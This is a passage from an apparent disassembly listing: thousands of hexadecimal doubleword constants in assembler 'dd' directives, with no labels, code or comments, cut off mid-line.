dd 0DAB7C37h, 4B6D1D49h, 0EEE19831h, 7F02EF08h, 0F3EC7C6Ch dd 496F8h, 32FED5Bh, 0AAA555FFh, 100EA228h, 0B0C5DE28h dd 0E93FFA30h, 508FD01Fh, 0E887B068h, 9D3130C7h, 152AFA68h dd 400970EBh, 0A9D3C200h, 6BA4617Ch, 572C9073h, 1067A826h dd 0F3C97B8h, 409C4502h, 9002A862h, 94AE23C7h, 0E6FADDC0h dd 0B8A5D7EAh, 624EE508h, 49015A73h, 0FB00A4F2h, 4005DA57h dd 8ACD26ECh, 0D0EE73C3h, 7B2A982h, 0B5A40194h, 5E5F2321h dd 0BD955801h, 0EAB36ADh, 81F2C440h, 257F92h, 9C01192Eh dd 2814A27Fh, 0E9242C04h, 1486220Dh, 77950168h, 85E4D761h dd 0E95C7035h, 505D4824h, 0D0C0BB0Ch, 0D5941667h, 0B32C40A1h dd 657DA473h, 0E268C49Ah, 4E0CB8E0h, 21E30C3h, 615B8ED8h dd 0D04A23E7h, 5C16D800h, 170ABA0Bh, 8C216EFEh, 406279E2h dd 496B43D0h, 0F32AB8DAh, 36BC0CA8h, 0DE30F538h, 1C5A841Ch dd 8A666D44h, 65CF309Ch, 244A9F7h, 0A15AA88h, 9820544Bh dd 4CA41499h, 0EE206073h, 0A8A8B570h, 0E9F61161h, 0AD959603h dd 0C8C1E3F2h, 31DFA67Eh, 43408488h, 8EA3005Eh, 6D580315h dd 8C78C776h, 29959131h, 26107CF9h, 1C543BDDh, 870A0B88h dd 0A4A0490Ah, 1B7E5822h, 27C27802h, 0A75ACCB5h, 0CDA07548h dd 1F21C29h, 74FFF4D0h, 202A937Dh, 0EA3E6DCCh, 0F3290E02h dd 0C7A20FE3h, 85449784h, 0E2918C80h, 0D62109FDh, 0C406B2A1h dd 0E503795Ch, 422DDBAh, 24717ECDh, 12C844B2h, 86E03257h dd 1C72CF03h, 7F21939h, 88EC209Dh, 0B35C7C00h, 722ACF9h dd 0A8012A94h, 1B96D031h, 0A614899Ah, 158C4772h, 1EC06CE7h dd 76FC2AE3h, 0B1FF09Ah, 0A81EA688h, 0F08FFC0Ah, 0EFE34180h dd 6E36BDECh, 0AC008185h, 9F352058h, 60A76448h, 715C9878h dd 1C8F0981h, 0C819086Ch, 1D62F05Fh, 10E3E230h, 0EE1CBAACh dd 0F4D35C04h, 0C810ED14h, 9843E57Ah, 66A2D8FEh, 0BEE70227h dd 0D670F69Fh, 0A5C84CC3h, 904D135h, 0EE9636C0h, 90C9FE03h dd 61F754F3h, 75BCB4ACh, 968C0020h, 24009914h, 43737721h dd 0A6FA1Dh, 294B98BDh, 10C8D9A5h, 394C001h, 0A19AED36h dd 0F8ADD870h, 0BF27017Eh, 21AB49EBh, 964C6069h, 1CC460C0h dd 0A82CC777h, 3BB57D94h, 0AC80CC15h, 7F3D3626h, 0F0C30737h dd 0E08FA5C7h, 7D87591h dd 591154A4h, 0BF450E6Ch, 0F800F17h, 28E4AE86h, 677C5800h dd 23C076B8h, 0DDFE307Bh, 5A36FD58h, 89E1ECB1h, 9F70D928h dd 0CEA76E4h, 0DCE313A5h, 0B4679FD8h, 80C97C78h, 63ADFF80h dd 0AAF70014h, 335AF32Bh, 7067E510h, 80C01A30h, 3968AF16h dd 2B964D71h, 0FD88002Ch, 59B3F33Ch, 0A2F51014h, 44E70628h dd 9A18B48Ch, 272244B0h, 0A9B4EE6Ch, 1EA90AF6h, 40606925h dd 0BA4BFCD9h, 8A8A8C8h, 91012954h, 616F8645h, 8F3A9050h dd 3D4B073h, 0FBAFBF4Fh, 9132F16Ch, 9095581Ch, 0A8277D7Ch dd 0C1646808h, 7528FE79h, 16F1814Ch, 0F2FA83F7h, 54408440h dd 400E6077h, 0A9A4ACBDh, 0ED81D218h, 87713F91h, 7C189496h dd 30862D49h, 1B39B86Eh, 56393EDBh, 38890069h, 0B9FCF58Ah dd 0B8A9C06Fh, 0A11350FBh, 5D2631C0h, 70F6AFE1h, 22210B46h dd 7C8F86D4h, 39B874E6h, 0E86A9D1Eh, 6446099Fh, 3987090h dd 5B67F8F5h, 103F79DEh, 5C8017CDh, 73218E01h, 0C05322E7h dd 94C2A451h, 0EE0060ACh, 482D1315h, 91A44484h, 0B44C355h dd 0EF4E1100h, 20110E87h, 0B497011Ch, 0A26B642Bh, 0DB688672h dd 0C1B9A4h, 5FF9BFFFh, 0CCD9E0F7h, 68C2A0A4h, 0E618CA2Fh dd 38B00338h, 2196CC34h, 8C969877h, 9F1C5C80h, 0B0A914C4h dd 22920A2Ch, 0B0F889h, 844FC26Dh, 50002495h, 9D1E2D01h dd 1F8632CDh, 666C1362h, 0CB708A40h, 0CB72F040h, 0A391963Fh dd 0C7DE87A0h, 34858B14h, 4B2890FAh, 0C07117DAh, 92405D5Ch dd 72F9AC04h, 54749C0Fh, 3CFB1062h, 59298D86h, 6C9C05E0h dd 406FFD0Ch, 352F4CFEh, 0CA17702h, 8048F0A4h, 6AF66CF5h dd 0D8AE6344h, 6B6F18C9h, 7F352184h, 191C5B00h, 0AE5522h dd 95505382h, 0D8431890h, 7DE1C200h, 51BCFFE4h, 0DA4B608Ah dd 0BAA172EEh, 6A88100h, 0A0B27C99h, 496300C6h, 0D37E4E0Dh dd 0CC13EB71h, 4409D472h, 201C025Dh, 1E1CC87Dh, 51863060h dd 0ED0126F1h, 0EF00F092h, 111EA18Ah, 0B0771A2Fh, 9DCF2E08h dd 231DB814h, 0B117C11Dh, 0BF533D05h, 46EF8439h, 0D8927643h dd 3DE2C0BEh, 1C0BE2F3h, 0CC5BDF55h, 0C121524Fh, 0E927BB00h dd 7FD3E85Ah, 0A05C0940h, 0F44812CBh, 2B00664Eh, 0ED8E136Bh dd 36C07EFh, 2917617Ah, 9DBAE34Bh, 0A10A6C0h, 59804730h dd 0CD01D1h, 0FD160C18h, 0C25EFFA2h, 8E592A03h, 801CEF71h dd 608AE010h, 9E0A69DCh, 0DA00ED3Ah, 837880B2h, 3623932h dd 0CFA71989h, 56910E8Ch, 6920D061h, 982D9780h, 90DDE03Ch dd 0E7C600ECh, 98B57786h, 4AEAF2FBh, 0D8285DB0h, 0E0003419h dd 4F9BC6E9h, 9F682Bh, 7A9A18F2h, 0F9D70237h, 0FCF08AEAh dd 0A448EE03h, 1FB17099h, 24D18038h, 0B490610h, 2900E97Ah dd 7BB05DE1h, 0A0D68095h, 2384993h, 0CCE85B94h, 0FC81E5CEh dd 20247B68h, 0F2585D70h, 39E00A8h, 905FA2E6h, 6E4D348Eh dd 0C9BC81A1h, 1AA4307Fh, 0B2E43F0Bh, 7C2800F2h, 18752A37h dd 20657E1Bh, 0CEE07A91h, 6BC9E024h, 9B422021h, 3BB63074h dd 5809E092h, 91DF5B7h, 0AC4180C0h, 0EE1AFAE6h, 0DFE20489h dd 0A0DE28B5h, 8C945E60h, 0D14FCD60h, 92D9038h, 0DCF6F833h dd 2A6EC8A0h, 0FD543643h, 9A7776C8h, 4F68C101h, 0B6755004h dd 60FCCACEh, 1A325F3h, 0ECC90CA4h, 0D1BEE270h, 9621802Ah dd 0E31D24D7h, 7E93036Bh, 48C2BC4Dh, 0C40091D2h, 119492h dd 3350682h, 9B0428B9h, 7730B1C0h, 0B18CB60h, 69B51C1Ah dd 3A1F6CA0h, 99021075h, 6B3E9ECDh, 61C882CCh, 5A2C46D8h dd 7C3C41C3h, 2919E027h, 0BCFE0118h, 0C28035Ch, 91F69CCh dd 567B0ABh, 0BFD9C440h, 42265C1Ch, 80588C09h, 59DAC0C2h dd 5D070068h, 89F5228Ah, 0A30BB542h, 885C6F3Eh, 215C34D0h dd 9A805ACCh, 6F63203Fh, 1CD1094Ah, 8480B214h, 0AD5B5D2Ch dd 0CFF09209h, 0D8089849h, 0F2A6262Bh, 4208A404h, 9E00A0C3h dd 2D2BD0h, 0E53BC71Fh, 76C4D7E8h, 5CFD5000h, 0E220A56Ch dd 0B25F141Dh, 7810AC1Fh, 80303DC3h, 0F834F7ADh, 0C10B7A2h dd 0F6F328C0h, 1E0A61D1h, 0ACA14CD9h, 9762D764h, 64629C8Fh dd 788967AEh, 0CDB47048h, 0CA109004h, 8EC29352h, 801A410Ch dd 5F4E031h, 0F62D1CE5h, 13CC6E8Eh, 9E0480C6h, 8A00422Eh dd 43DFEE6h, 7698B84Ah, 0A8A3164Bh, 0BEC0428h, 61C1017Dh dd 0A865295Dh, 1D266BE0h, 16F935h, 0A59B01FAh, 754BFECCh dd 8DDA0400h, 3E53DD2Dh, 0A8023AE6h, 21643804h, 6FECC4A0h dd 0AC4030D1h, 0D9388CA0h, 0A3F2882Bh, 0E0C86957h, 15FED19Bh dd 6987BB58h, 32F800C9h, 59953EEh, 7222368Ah, 0BAA03121h dd 0DCCAF75Ch, 9D04184Ch, 319661BBh, 2BF1EAC0h, 352C0344h dd 0C0B8091Dh, 0FC929AB9h, 53004164h, 0FA1EE9D6h, 69B99Bh dd 61E0F596h, 0F0198818h, 72044E00h, 0A8E1CFEAh, 0D50E0074h dd 0B962BE4Fh, 9E004354h, 5879F0F9h, 0BD32BFCBh, 0D1612800h dd 8000AB67h, 0B77B9BF5h, 0A8E39Dh, 0B538687Ch, 3CC51F24h dd 9660F21Dh, 0D5369FC0h, 7BE38629h, 88D11F71h, 0C8B5D877h dd 0D5E67824h, 0C9F44D0Fh, 18BE8C3Eh, 5E7BFDh, 94E8918Ch dd 7903BCCBh, 410D950h, 80135C3Ah, 91EA3DA7h, 57BF8AA5h dd 0E5009090h, 4C0365C1h, 5B72777Eh, 61BF2601h, 1E2E3036h dd 291B80BCh, 1BE0089Bh, 8400408Eh, 6DCEFD15h, 3F3C4ED2h dd 0F7804A73h, 0E4180EA2h, 4500C8E1h, 8380EE95h, 31D05A66h dd 68F1624Eh, 29BAD0D6h, 28AE6D00h, 93155DB0h, 0D7AA0087h dd 0BFD0527Bh, 5648D624h, 1E330080h, 2DBBA8E6h, 7AD5000Fh dd 70FCFDD2h, 240E91C8h, 80C64B3Ah, 5362C3AFh, 0DC96072Dh dd 800DB8A8h, 8FA3474Eh, 0DDAEF524h, 6AB3800Eh, 9C7820A6h dd 18E743F0h, 0BF28CEA5h, 2EBB0E51h, 4B8058BAh, 36BCA971h dd 602B6200h, 0AA379365h, 7494A025h, 9676C4h, 0DD75D05Bh dd 5453CA7Ch, 982C1124h, 0AACC9300h, 383FC862h, 0E68C1096h dd 0DA6842E1h, 70904430h, 0D0738Ch, 0F3BCA726h, 824C6F5Dh dd 8DCA2F01h, 0D94D2A21h, 7C757280h, 6798EBA6h, 0F23A3Eh dd 0CF9085D1h, 0F948DCh, 4EB8680Dh, 38587A9Bh, 0A1D74F00h dd 652F49F6h, 0FDB857h, 0B4276C9Dh, 1015FF67h, 6AA6F400h dd 4EC0240Ch, 0B90901D5h, 0B58E261h, 0F0ED3076h, 6E37430Ch dd 0C36D100Dh, 0F6A88A09h, 997E1000h, 9ABA16A4h, 9C0C03EBh dd 0BF15A529h, 0AE05E5C0h, 0ACB3FC03h, 0E0D03616h, 356BDh dd 0EE225ACEh, 271C5558h, 2EB5B700h, 674DF775h, 0DCDA00F8h dd 7672AFBBh, 1F008BE2h, 0FF895505h, 9D5CB3DEh, 5E77FFD0h dd 0A65DB100h, 4323B446h, 827000B2h, 0CC54669Ah, 0E9002B59h dd 458667C1h, 18BF635Ch, 0B49BAAE4h, 0E2005B8Eh, 0DB034036h dd 1FD94B76h, 8083AC2Fh, 0B30695F6h, 0B707ADEBh, 0E940AEBDh dd 3687A6F7h, 82A73B00h, 7650080h, 0E8D6B3CCh, 0BB001981h dd 4CCA3DB7h, 0E59EEE1h, 0A892701Ah, 7CC036E0h, 0FE00DE0Eh dd 8814A586h, 380CDBD8h, 2F00B531h, 0C7B1ACE7h, 500C341Fh dd 0A0325105h, 34775AAh, 7B4A48Ah, 18D65385h, 0EA982A00h dd 5054CC9Dh, 55D90056h, 0FF6B1BB7h, 0D1008FB8h, 0FE2D4828h dd 0B064A3C9h, 80EF00D5h, 5DC02713h, 74001795h, 71509EE7h dd 74C8F43Bh, 0F29A00E1h, 89B24511h, 480017E8h, 0B304F8EFh dd 2CBFBB14h, 30D250h, 24CEC5BEh, 3B006242h, 9E2C21DBh dd 0F7DF32h, 0B8FE4074h dd 0EE46BF4Dh, 4001998h, 1775A2E7h, 124A1A3Dh, 1E6F4448h dd 0ABD628h, 93A75BB4h, 1C508E43h, 3B00AC9Ah, 0A6502F11h dd 0FF2CEB7h, 95A33FD6h, 0EEE9003Fh, 0E01410FAh, 0DD79BA00h dd 0C19E624Dh, 0FEC848CDh, 28988D0Fh, 8DE50Ah, 0B5BA9994h dd 24098C4Eh, 0C073F5CFh, 0B61A8Eh, 92742E08h, 7145B432h dd 0AE78C603h, 0C0102641h, 13BB2Dh, 32C188DEh, 0EC4F7CD5h dd 0ED82F900h, 95E9EEDDh, 93A61872h, 0B4F8AA64h, 0BC3A4CF8h dd 0C1799FFDh, 40F782C0h, 3C49694h, 9D708B5Bh, 22E0A649h dd 0DD24D0A4h, 6D80B432h, 8E39EB3Fh, 73E6CCh, 0AA389ADEh dd 202FA254h, 69CAE700h, 0C5D5EBDh, 980B0042h, 30DBB365h dd 0E02DDC3h, 7664AD97h, 46AF80CEh, 1DF4C836h, 0E9EA78h dd 4A162C9Ch, 0B5009474h, 0DCE6ACDFh, 0FCA93B8Ch, 0BA67051Fh dd 0C083C6ADh, 6E8F539Ah, 0FDC1AA00h, 9AFB2945h, 71D12665h dd 0C0D70000h, 2ED56306h, 90591700h, 3ED25458h, 5C371D7Eh dd 39BB4050h, 8034B711h, 0A2F60600h, 203C1E07h, 0E6F50F55h dd 0F76A8E2Eh, 0A6EB00C8h, 0ACE919A9h, 35836B12h, 39288C00h dd 0FD42A59h, 0C0984A78h, 9245B064h, 0BE09B20h, 0D3005030h dd 0CCC83786h, 3C4D9ACAh, 1593AF60h, 7C3109A9h, 0CE359C00h dd 0DF00935Eh, 8AF10753h, 1928F79h, 0F4C6CD40h, 0D1333445h dd 2CBE6098h, 0E3D7AF00h, 219BA6A4h, 55B30017h, 4A0DFB02h dd 6A004401h, 0FDEE107Bh, 5CBCEDh, 5F079F95h, 6EC1E336h dd 0D8055B78h, 0E68D2C83h, 4446D000h, 0E0C4FD2h, 28ECF55Ah dd 2B534B80h, 0E03F74AAh, 0CC9F80BBh, 20CA3295h, 52370026h dd 6A59D911h, 33759E41h, 39560F07h, 1FE05B13h, 0B5AF27h dd 0F0350999h, 0F724A33Ch, 6E112D1Ch, 9E527A80h, 0D883E9h dd 56D9C444h, 8428CDC5h, 9C424B01h, 272289AFh, 0B0ED50FCh dd 0FCD80061h, 565E4E54h, 470069FDh, 67AE2146h, 3CB80BCCh dd 3D0955D3h, 0B004D7Fh, 120D7796h, 3CA3B400h, 0CBBA0616h dd 0BEAB03C6h, 9D979A8Ah, 1CDB67A8h, 46BD0F00h, 156BBA9h dd 0CED03A28h, 9CA096h, 0F3C25D31h, 7639AE83h, 803FBF68h dd 4FDB303Ah, 20DE5Fh, 9B53D918h, 0E980A83Bh, 40E75E00h dd 4FF617A0h, 0FB58003Ah, 0E0BAC290h, 10C33BF9h, 0D80BA3CCh dd 24419Eh, 0B268B42Fh, 14937ACh, 9A6AB500h, 48897F36h dd 5B98A0DDh, 653B00E9h, 4207334Bh, 80E24DBAh, 0C7007178h dd 0A91F7B30h, 0B67A7AEh, 0A1E6F831h, 5784F800h, 0B06D91Eh dd 0AEB4D5E3h, 0B565009Ch, 9C98970Ch, 0E800B736h, 5D6BF304h dd 74551DA2h, 85F638E3h, 92983380h, 84900583h, 463D6003h dd 0D828F719h, 308BBDBh, 6D8D205Ah, 0DDF04064h, 21001A3Ah dd 0FABE2C42h, 0F0288Ch, 7B0B657Dh, 934DA95h, 935BDB0Ch dd 0F2D71A0Ch, 0F47F22h, 41784B47h, 0E6E25A7Ch, 0C38BE000h dd 2D1470B6h, 0F6990031h, 19D8DA61h, 0D30F30EEh, 0A01BCFF7h dd 0B746B637h, 895001Dh, 746EC71Eh, 4D0FECFFh, 40248557h dd 0D7BA35F2h, 38E200A0h, 0DC80BF96h, 0C00029DAh, 1DB3600Ah dd 72C6607h, 4865D9Ah, 14E7F028h, 0F900CC87h, 4E27E3E9h dd 0FDCA925h, 0EC16B6BCh, 0A171DA60h, 4500BD82h, 0A19EF9Bh dd 59EAAAh, 0C1A39179h, 0E91BF81Eh, 21005C77h, 3AE46A9Ch dd 0F672771h, 0FEA07B92h, 0BD8BC480h, 730057C7h, 9925C0BBh dd 309CECCh, 491359E4h, 74B37A2Ch, 86BCCDC0h, 4215BE00h dd 4093E3D2h, 38FB00D8h, 7EF409D3h, 1C90D51Ch, 8347193Bh dd 0F61562D1h, 3AA0F188h, 0C636D0h, 0B50D8BCFh, 0D9E829F9h dd 0F3001A7Ah, 9CE42211h, 0E6F1802h, 93FC3B17h, 0A78C160h dd 0CA016DB1h, 450E998h, 0BBF8AB6Ah, 5410C099h, 6F5660E5h dd 81C60F09h, 42F40051h, 101E97h, 0AB22C38h, 33562F30h dd 1D7CEA0Ch, 0F1918F9h, 493980EDh, 0C9FBB8B8h, 378E210Ah dd 4D0124C2h, 0D48643B5h, 5E62D883h, 25C8583Dh, 69181C0Eh dd 0B6118B36h, 0D68500D3h, 18891510h, 0E9011F0Dh, 5D8D52D7h dd 0A2FC1A21h, 48081883h, 0E66460DCh, 6C57600h, 0A8D1FE47h dd 0C359007Ch, 7DF1E340h, 8500911Dh, 58464DABh, 0F0E52920h dd 0B81700A6h, 0B36B2B7Ch, 0C017B75h, 8F730F38h, 0C1FC784Fh dd 0C4BD2676h, 574600E7h, 9AF607E5h, 0E6BECE1Eh, 8EF1478Ch dd 3C7521h, 69195DDBh, 0CB6DD308h, 5A22931Eh, 0BE066A00h dd 26BD01h, 549E6CF2h, 0AF238402h, 5D825200h, 5F4C2A1Eh dd 80D70083h, 0D702EF4h, 811D061Bh, 0FDC06ED2h, 306AF642h dd 54A94C04h, 0B0BAE605h, 90A8508Bh, 9BBC0442h, 54CA5D1Fh dd 0B242BE00h, 1875DFh, 4691CB13h, 19EBE87Ah, 77738D00h dd 24DD0AB6h, 1AC14CDEh, 54550071h, 8EFAE446h, 0A1C7F9Bh dd 8039763Fh, 2C0AD52h, 0B31974h, 0C3E01B14h, 5EACFD87h dd 0A1564B24h, 84E9A400h, 3CA10E2Ch, 99C7755h, 65A98E8Eh dd 0B0800809h, 74E39884h, 1787BE00h, 0F7D98E0Dh, 57ED00F1h dd 0CDFE6590h, 0BE0019CAh, 25C48147h, 0CB0A16h, 0DBE404C1h dd 0C5309259h, 0AD266B04h, 14C0692Ah, 0BF9D0Bh, 684F05CBh dd 0D25FB84Dh, 0DB4A1F16h, 3F9E3C00h, 21BE60h, 150C0633h dd 96E3DF3h, 32E6D0EAh, 0D5C71C00h, 671B2BEAh, 0CDF3008Ch dd 38FE8692h, 9F00CA94h, 41D5D959h, 0CE555Eh, 0E68835FCh dd 1815DFD2h, 5971D700h, 0C7BE2029h, 7D76E86Ah, 0EF220EE4h dd 0AF401672h, 0BB6E12D5h, 0D885ED28h, 62749D00h, 996B0CB4h dd 1321026Dh, 69BF4015h, 0AB7B58C0h, 1F477C0Eh, 2C7A81FEh dd 0F8507212h, 5ED4D90Bh, 0C168E05Bh, 0CE712216h, 8B93A300h dd 33069DDh, 2D27525Dh, 0ECC02B64h, 0F1002158h, 3EED8344h dd 3CFBEAh, 0B7B6F053h, 0B4DF9C6Bh, 0BC5BC800h, 0B8425506h dd 0A3731DC5h, 0C2CF5h, 7D4813FDh, 9A03D170h, 0A452CE32h dd 0D126A367h, 0F840B0FBh, 9D8B2DAh, 0D75584F1h, 406F7091h dd 1FDF96B8h, 9AC8AB00h, 0CF157EA3h, 3DC3D56h, 0E8313380h dd 674BED26h, 0F19CE307h, 0EE966h, 0DE6E9821h, 7A01008Bh dd 42B03204h, 0DF50784Dh, 0E8ECC388h, 0DBF64602h, 0E05B576Eh dd 0F1CA7B00h, 597E8h, 8BF39ADDh, 14688354h, 4F936B01h dd 88203374h, 35DC1FC1h, 28D1001Ch, 4CC75EF1h, 0D34C11D0h dd 0F2A80090h, 8E37FD04h, 86831C53h, 0D5BCBC3Eh, 8571FC80h dd 822C0657h, 27655A00h, 45CC25B4h, 0E86903A0h, 0E2F372EEh dd 47AF50FFh, 35000C1Dh, 0B5832DC5h, 39293CC8h, 0A8819224h dd 0F42542AFh, 5BD884E2h, 7600EB58h, 0DFB52375h, 0CBC97100h dd 3C0EB8E1h, 0D70A392Fh, 8BA65C80h, 0C027F7F0h, 16C1650Ch dd 0BBB0FAh, 79BF6E3Bh, 17C895BEh, 7F456207h, 4480873Eh dd 391D7B51h, 1EA8BA52h, 0B6B302FCh, 68DD384h, 6400DC44h dd 13D9FD92h, 2616851Dh, 73499AEh, 3BA2CE9h, 0CEA83B23h dd 2530E5B0h, 1E0481Dh, 0D6830061h, 2315DB75h, 8C736006h dd 243BD90Bh, 0B718619h, 32010060h, 1427D305h, 0A518B0E1h dd 0DBFE0681h, 0C4E0071h, 0B2BE3989h, 0CB3A3452h, 81F900D3h dd 0D6447E8Fh, 748A0023h, 0F787F3F4h, 0A7005339h, 2638074Ah dd 129DECh, 7D664C46h, 0D5356559h, 0C8017E00h, 0E6D3D2C6h dd 1B8E0517h, 0C05D9DA8h, 0FF33F328h, 0A50173F8h, 0D1A35D3h dd 58C1953Fh, 0FA4FB4FCh, 16CF0072h, 0C9818B53h, 1873554Ch dd 0C133C01h, 82EA997Ah dd 5D12F420h, 0CA0084BDh, 1A9EB8E4h, 98001DF4h, 0F616A814h dd 3C1E6CBh, 0B91F092Bh, 0D6E08577h, 5C1C11ACh, 0C580989Bh dd 9F743A4Dh, 50D89FE1h, 5B83Bh, 240BC819h, 3F89104h, 57369A7Ah dd 0FEF8C37Ch, 0DE00450Ch, 2E32ECB7h, 796A802h, 1581A36Ah dd 93630062h, 7000B289h, 0FDB9924Bh, 24C21Ch, 4F5C933h dd 86CD1FAEh, 8B417A3Ch, 80278D95h, 58893014h, 38D800C2h dd 0E09C466h, 0CCF1FA69h, 787B920Ch, 2914202Ch, 4973C200h dd 72071Ch, 0DF3A462Bh, 65BC9AE7h, 90A9C000h, 0F78B4144h dd 2E8107B4h, 65FFD379h, 102587BAh, 5CF097E8h, 44572703h dd 0E029C846h, 0B60358Eh, 0AB894B4Ch, 0BA00AC0Bh, 6FF9B5Bh dd 0B9B54500h, 4011CEC6h, 0A09A5029h, 0F77B88h, 0E5AECD9Dh dd 972341C0h, 0CA6A4A00h, 1D84543Ch, 6D9B00B9h, 410C467h dd 5B005C7Ah, 0B420BDF9h, 5F6196h, 0A0798E3Bh, 16733619h dd 35EBC300h, 0C4E08CDBh, 0D3C700D8h, 0BE468A1Bh, 8703830Dh dd 0B48BB77Bh, 0B6A980EFh, 339900EAh, 0F7DBC49Ch, 0CD13867Fh dd 0B00BCB8h, 0E27E34A3h, 0FCDC0043h, 27DDF493h, 4500B0C4h dd 0C3D66F0Eh, 12E518h, 8EB60C03h, 0FB6B424Ah, 0C0E0CA26h dd 0D32CCD00h, 537C1Ch, 334DBF65h, 5258E136h, 0C75F4F00h dd 0CED90C6h, 291B00DAh, 0EFEB59F9h, 43E4FB13h, 0CBCCC80Fh dd 96D1027Dh, 4F02C01Bh, 3F800A2h, 0BD253253h, 0D600ABA6h dd 0A1C47044h, 5E4087h, 0AA65F614h, 4C4115EFh, 0BCFA6200h dd 432C9773h, 7E077FFh, 0D1202454h, 0E2B80D8h, 0A000EC3Dh dd 28B45B78h, 717E11CCh, 0F1502C34h, 0ADF00EFh, 5DE3A77Ch dd 6949902h, 70D464D2h, 952D1F38h, 358A80CFh, 0FD1E5BB5h dd 743F3E1Bh, 79AE8890h, 6B2A0013h, 0AF608730h, 0A1E4179Dh dd 98985Dh, 0BA5C7E66h, 26109E19h, 0EE088Dh, 5D7B01C2h dd 821FEFB1h, 0ADAC2CF0h, 140F2712h, 6D0260EAh, 4C7B47A5h dd 100B17Ah, 1A9914A2h, 8C98CB4Eh, 2F600A02h, 5083A338h dd 0D89800A4h, 5C4A8717h, 7CF6ACEEh, 0FA12ABF0h, 0EC9085B3h dd 2642B61h, 0B1789048h, 2BC0BF06h, 1800A687h, 2152C2FBh dd 1262F628h, 89144Dh, 0E711B5C8h, 86B8CD19h, 88092CB8h dd 484581D2h, 0FF030ADCh, 5994DCh, 0C8F421F5h, 0E11F732Dh dd 62472A12h, 41425CC7h, 2390A1CFh, 75D4C24Eh, 0EEE718C9h dd 7C367829h, 0D5BB0B01h, 24FBD271h, 8EECD4h, 99E01C3h dd 86F37A16h, 904B551Eh, 3C9CD940h, 9D597E39h, 881EB870h dd 58805753h, 8D1A954h, 0E75B1CA1h, 4EF10034h, 703B8A92h dd 863D1B00h, 0CEC4366Bh, 30BB3E67h, 6E4D0B80h, 0F77173Ah dd 6230607Fh, 0ED34B087h, 0A832008Ch, 54799631h, 3A39F741h dd 0CCA80AFh, 0D555C585h, 0D0E839h, 4B5D1716h, 0C9A6A2DAh dd 7501CC7Fh, 3E33D558h, 0FCF4E72Eh, 0AABB26CBh, 54981630h dd 4421C78h, 0C161C1EBh, 0BE0B1201h, 23C3040Ch, 4D00DA10h dd 979E9CDDh, 1C7624h, 0DB9DFE0h, 0CC060B22h, 657A54Ch dd 9F88CE91h, 0D1E82228h, 0A88807FEh, 88F088A9h, 97B95204h dd 9C44D34Ch, 28044A03h, 29565E0Ch, 0C8D24490h, 4223EB20h dd 7B9308C0h, 0D0740853h, 88D8B588h, 0FB88AF7Ch, 5038947Ah dd 29E59E3Ah, 75500698h, 0DC502947h, 7920093Ch, 14B4502Fh dd 0E076444Ah, 277151C0h, 1712A33Bh, 0E4FA834h, 0B3A9A2EAh dd 0BB584C80h, 0AE003BCFh, 33B5B726h, 0F94DC4h, 428B94C9h dd 0DBA93D3Eh, 0D90027E4h, 43610641h, 161BC628h, 185EB54h dd 0DE5DC3A2h, 0FD9CC4AFh, 63A7131Fh, 6C6F0B00h, 0F095030Eh dd 0AC0000Dh, 0CCCB32ABh, 930205A3h, 0F1B57AC8h, 58E780F7h dd 13274FEAh, 602C32h, 0B4129BD0h, 0FF001F02h, 26ACA7A5h dd 0E2BF9EF3h, 8FF100D7h, 0EFE08744h, 61007411h, 4E885E56h dd 12F91222h, 60C3D7h, 20C2DD18h, 0AE773D23h, 630C791Dh dd 3BF26140h, 586C481Ch, 2D006DF9h, 0AAD8CCABh, 0FE3E8C83h dd 1C348059h, 5D78A171h, 407A01A2h, 102B2E15h, 0B7CCE811h dd 0AE9A3Eh, 0C737CE87h, 0FD3CF6h, 0EE4F327h, 47C58DD3h dd 99730D07h, 0F710D99Fh, 0B7CA07h, 7CDF3CA7h, 2C8C6E3Bh dd 1200B67Ah, 2429221Eh, 0F546CCh, 683F3105h, 2FB19417h dd 0A626CE00h, 4A2CD856h, 876302C9h, 28C692CDh, 0AE8112E0h dd 1460E900h, 1BEA9B11h, 0B5A2001Dh, 0F669892Fh, 7A0EA526h dd 201028EFh, 0A7189EBDh, 2BF30F44h, 6DE3CB96h, 20002357h dd 0ACDD3C90h, 770DB734h, 1AD40056h, 5801E1BEh, 7700D6DFh dd 4B542363h, 1B76003h, 746CBA76h, 0DC3F19B3h, 7716D458h dd 3FECF29h, 8D0DE329h, 0EB8E8800h, 85E2877Ch, 2330044h dd 2D82A2D0h, 68E6B81Bh, 61C0F400h, 90448E91h, 2CD32DDFh dd 0AA460EFFh, 0AC009F65h, 0CF603D1Ah, 1C67059h, 0E8497F0Eh dd 0D4B42A1Eh, 4300AFA0h, 946AB036h, 51E9ACh, 681FF572h dd 5B28B84Bh, 12C4400h, 8F27E3E6h, 63350029h, 17CDB56Eh dd 0F2002FA0h, 14FE1151h, 0D91BD1h, 3941B905h, 0FB093519h dd 8B37B314h, 0D5DE03F1h, 985FA68Ch, 2C215EF5h, 0CE6F7Eh dd 1EDA516h, 6300C4DEh, 9C279941h, 3625DC1h, 0A7D78403h dd 38C09659h, 5B00872Ah, 9DBFDA56h, 58ECCh, 9E97807Ah dd 6FD7DEBBh, 55AB8100h, 5194C2C1h, 42D11D59h, 6C41002Dh dd 5A290683h, 0D7573006h, 76C2E1Bh, 19FE0A50h, 5D31C09Bh dd 9E075AA1h, 0B323D31Fh, 0BEB2BA20h, 663C00DCh, 0E1885C2Eh dd 7E00F1F8h, 0E5D71549h, 396E2185h, 47009A41h, 0A7429B97h dd 0E800E60Eh, 542B04A4h, 43C899h, 7A2DDF32h, 0BB9623F6h dd 0A2FC490Fh, 2F80BD5Eh, 509789BAh, 0EB800E5h, 4938CD29h dd 0F0E5375Bh, 19057F83h, 64CFC5B2h, 3E733AC0h, 5AC00787h dd 0AF3AD0A4h, 4FB8B361h, 0FF79F0FBh, 45BD800h, 740285BFh dd 385800BAh, 0C13A70A1h, 0AAB8331Dh, 0DA6F6900h, 0FF2228CAh dd 18C760B1h, 5BFA93CFh, 5F07401Dh, 970B80FDh, 2E4EE884h dd 0EFEA00E5h, 887DB105h, 443B678Ch, 4C93EB7h, 40088B28h dd 38AE0EC0h, 323C005Fh, 25CFED09h, 1800B46Ah, 0DD907479h dd 98E2DBh, 3CD4F24Ch, 5677E15Ch, 3667410Fh, 0AC704303h dd 0BA84806Ch, 0A0B40029h, 0AD4827B5h, 2F3D018Ah, 91778F0Ah dd 0B6C14034h, 0BDDCC3h, 368FD6ABh, 9A2D67F8h, 56E7D0F7h dd 1D580D3Ch, 40838E0Eh, 0F816AF70h, 0E47F6A46h, 7A67F862h dd 9F7BCDh, 3C349CE0h, 76F70C80h, 0EC65A000h, 3B0D48F5h dd 42D003CBh, 0E78E5C96h, 67A0B3A7h, 